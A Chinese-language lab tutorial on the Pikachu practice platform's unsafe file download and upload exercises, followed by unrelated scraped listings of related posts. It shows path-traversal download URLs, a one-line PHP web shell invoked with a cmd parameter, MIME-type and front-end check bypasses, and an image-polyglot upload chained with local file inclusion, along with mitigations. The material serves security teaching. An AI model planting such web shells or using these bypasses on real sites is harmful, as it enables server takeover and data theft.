1.不安全的文件下载

1.1.概述

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。

切记:所有与前端交互的数据都是不安全的,不能掉以轻心!

1.2.实验

相当于把一个文件名传到后端,后台去找这个文件,然后响应输出到前端

测试文件下载漏洞时,我们可以用目录遍历的方式

http://192.168.171.133/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../../../../../1.txt

这时候就能下载到我们想要的文件,尤其是 Linux 上很多配置文件都有固定的目录

1.3.防范措施

  • 对传入的文件名进行严格的过滤和限定
  • 对文件下载的目录进行严格的过滤

2.不安全的文件上传

2.1.概述

因为业务功能需要,很多 Web 站点都有文件上传的接口,比如:

  • 注册时上传头像图片(比如jpg,png,gif等)
  • 上传文件附件(doc,xls等)

而在后台开发时,并没有对上传的文件进行安全考虑,或者采用了有缺陷的措施,导致攻击者可以通过一些手段绕过安全措施从而上传一些恶意文件(如:一句话木马)

从而通过对该恶意文件的访问来控制整个 Web 后台

2.2.测试流程

  • 对文件上传的地方按照要求上传文件,查看返回结果(路径,提示等)
  • 尝试上传不同类型的 “ 恶意 ” 文件,比如 xx.php 文件,分析结果
  • 查看 html 源码,看是否通过 js 在前端做了限制,可以绕过
  • 尝试使用不同方式进行绕过:黑白名单绕过 / MIME类型绕过 / 目录0x00截断绕过等
  • 猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试

2.3.客户端 check

我们先进行 客户端check 这个实验,这里只允许我们上传图片

我们选择一个 php 文件时,会直接提示文件不符合要求,内容如下

<?php echo shell_exec($_GET['cmd']);?>

下面看一下这个限制是不是通过前端完成的

可以看到,当 input 标签的状态发生改变时,就会调用 checkFileExt(),下面是这个函数的源码

这个函数会判断文件的后缀是否在 jpg、png 和 gif 中,是这些后缀才运行上传。

但是前端做的限制只是辅助作用,是可以绕过的,比如直接删掉 onchange 中的内容

这时候就能上传了

然后利用上传的文件进行操作

http://192.168.171.133/pikachu/vul/unsafeupload/uploads/hack.php?cmd=ipconfig

2.4.服务端check

MIME

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问时,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。常见的 MIME 类型,比如:

  • 超文本标记语言:.html,.html text.html
  • 普通文件:.txt text/plain
  • RTF文件:.rtf application/rtf
  • GIF图形:.gif image/gif
  • JPEG图形:.jpeg,.jpg image/jpeg

$_FILES()函数

它从浏览器的HTTP头里获取 Content-Type ,这个 Content-Type 前端用户是可以控制的

通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件

第一个参数是表单的 input name,第二个下标可以是 “name”,“type”,“size”,“tmp_name” 或 “error”,就像这样:

  • $_FILES['file']['name']:被上传文件的名称
  • $_FILES['file']['type']:被上传文件的类型
  • $_FILES['file']['size']:被上传文件的大小
  • $_FILES['file']['tmp_name']:存储在服务器的文件的临时副本的名称
  • $_FILES['file']['error']:由文件上传导致的错误代码

实验

当我们上传一个 php 文件时,会报错,下面通过 BurpSuite 修改请求头

修改成 image/png,或者别的图片类型都行

这时候文件就上传成功了

2.5. getimagesize() 类型验证

getimagesize() 返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。

它读取目标文件的 16 进制的头几个字符串,看符不符合图片要求,固定的图片文件前面几个字符串是一样的

但是图片头可以被伪造,因此还是可以被绕过

我们可以用 xxd 这个命令查看图片的第一行

xxd image.png | head -n 1

我们可以尝试上传一个包含恶意代码的图片,制作方法如下

  • 方法1:CMD命令直接伪造头部GIF89A:copy /b test.png + muma.php cccc.png
  • 方法2:使用GIMP(开源的图片修改软件),通过增加备注,写入执行命令
<?php phpinfo(); ?>

然后上传这个 ccc.png 文件

但是我们访问这个图片,恶意代码是不会被执行的。我们可以结合本地文件包含漏洞进一步利用,猜测上传图片所在的位置

http://192.168.171.133/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2019/10/09/6470185d9d609075689635710502.png&submit=Submit+Query

2.6.防范措施

  • 不要在前端使用 JS 实施上传限制策略
  • 通过服务端对上传文件进行限制:
    • 进行多条件组合检查:比如文件的大小,路径,扩展名,文件类型,文件完整性
    • 对上传的文件在服务器上存储时进行重命名(制定合理的命名规则)
    • 对服务器端上传的目录进行权限控制(比如只读),限制执行权限带来的危害

Pikachu漏洞练习平台实验——不安全的文件下载和上传(七)的更多相关文章

  1. Pikachu漏洞练习平台实验——XSS(二)

    概述 简介 XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户 XSS漏洞可以用来进行钓鱼攻击.前端js挖矿.盗取用户cookie,甚至对主机进行远程控制 攻击流程 假设存在漏洞的是 ...

  2. Pikachu漏洞练习平台实验——php反序列化、XXE、SSRF(九)

    1.序列化和反序列化 1.1.概述 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数. 序列化serialize()序列化说通俗点就是把一个对象变成 ...

  3. Pikachu漏洞练习平台实验——SQL注入(四)

    1.概述 1.1发生原因 SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄 ...

  4. Pikachu漏洞练习平台实验——文件包含(File Inclusion)(六)

    1.概述 1.1简介 在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能.比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调 ...

  5. Pikachu漏洞练习平台实验——CSRF(三)

    概述 CSRF 是 Cross Site Request Forgery 的 简称,中文名为跨域请求伪造 在CSRF的攻击场景中,攻击者会伪造一个请求(一般是一个链接) 然后欺骗目标用户进行点击,用户 ...

  6. Pikachu漏洞练习平台实验——越权漏洞(八)

    1.概述 由于没有对用户权限进行严格的判断 导致低权限的账号(比如普通用户)可以去完成高权限账号(比如超管)范围内的操作 水行越权:A用户和B用户属于同一级别用户,但各自不能操作对方个人信息.A用户如 ...

  7. Pikachu漏洞练习平台实验——RCE(五)

    1.概述 RCE(Remote Command/Code Execute) 给攻击者向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行一般出现这种漏洞,是因为应用系统从设计 ...

  8. Pikachu漏洞练习平台实验——暴力破解(一)

    概述 一个有效的字典可以大大提高暴力破解的效率 比如常用的用户名/密码TOP500 脱裤后的账号密码(社工库) 根据特定的对象(比如手机.生日和银行卡号等)按照指定的规则来生成密码 暴力破解流程 确认 ...

  9. kali上部署dvwa漏洞测试平台

    kali上部署dvwa漏洞测试平台 一.获取dvwa安装包并解压 二.赋予dvwa文件夹相应权限 三.配置Mysql数据库 四.启动apache2和mysql服务 五.在网页配置dvwa 六.登陆到D ...

随机推荐

  1. Kali系统 metasploit 使用教程

    基础配置 由于kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用. 在kali 2.0中启动带数据库支持的MSF方式如下: ...

  2. 问题 J: 老肖数等式

    问题 J: 老肖数等式 时间限制: 1 Sec  内存限制: 128 MB提交: 1594  解决: 741[提交] [状态] [命题人:jsu_admin] 题目描述 老肖前几年当了小学数学老师,他 ...

  3. 只要三步,你就可以在github上发布网站了

    今天,看到github推送了一个新的消息,Publishing with GitHub Pages, now as easy as 1, 2, 3.总结起来就是在github将你的文档或者发布网页将会 ...

  4. ASE Alpha Sprint - backend scrum 5

    本次scrum于2019.11.10再sky garden进行,持续30分钟. 参与人: Zhikai Chen, Jia Ning, Jiyan He 请假: Xin Kang, Lihao Ran ...

  5. 51nod 1554 欧姆诺姆和项链

    有一天,欧姆诺姆发现了一串长度为n的宝石串,上面有五颜六色的宝石.他决定摘取前面若干个宝石来做成一个漂亮的项链. 他对漂亮的项链是这样定义的,现在有一条项链S,当S=A+B+A+B+A+...+A+B ...

  6. 记录卸载5.7版本MySQL并安装5.6版本MySQL

    新版本有些问题很烦,也没时间去找解决办法,只好用回5.6,首先卸载6.7的MySQL: sudo apt-get autoremove --purge mysql-server-* apt remov ...

  7. dd hdparm 速度不一致

    https://www.cnblogs.com/yinzhengjie/p/9935478.html hparm     # 它用来在基于Linux的系统上获取或设置硬盘参数,包括测试读性能以及缓存性 ...

  8. 记人生中第一场认真打的CF——CF1000(虽然是Virtual participation)

    老师说下午要让我们(来自开明的新高一同学)感受一下CF,于是下午2:20我们就集中到了机房.老师教我们用Educational Codeforces Round 46 (Rated for Div. ...

  9. Git关联JIRA的issue

    指导文章 http://www.51testing.com/html/30/n-3724930.html http://{$host_url}/help/user/project/integratio ...

  10. 【leetcode】516. Longest Palindromic Subsequence

    题目如下: 解题思路:很经典的动态规划题目,但是用python会超时,只好用C++了. 代码如下: class Solution { public: int longestPalindromeSubs ...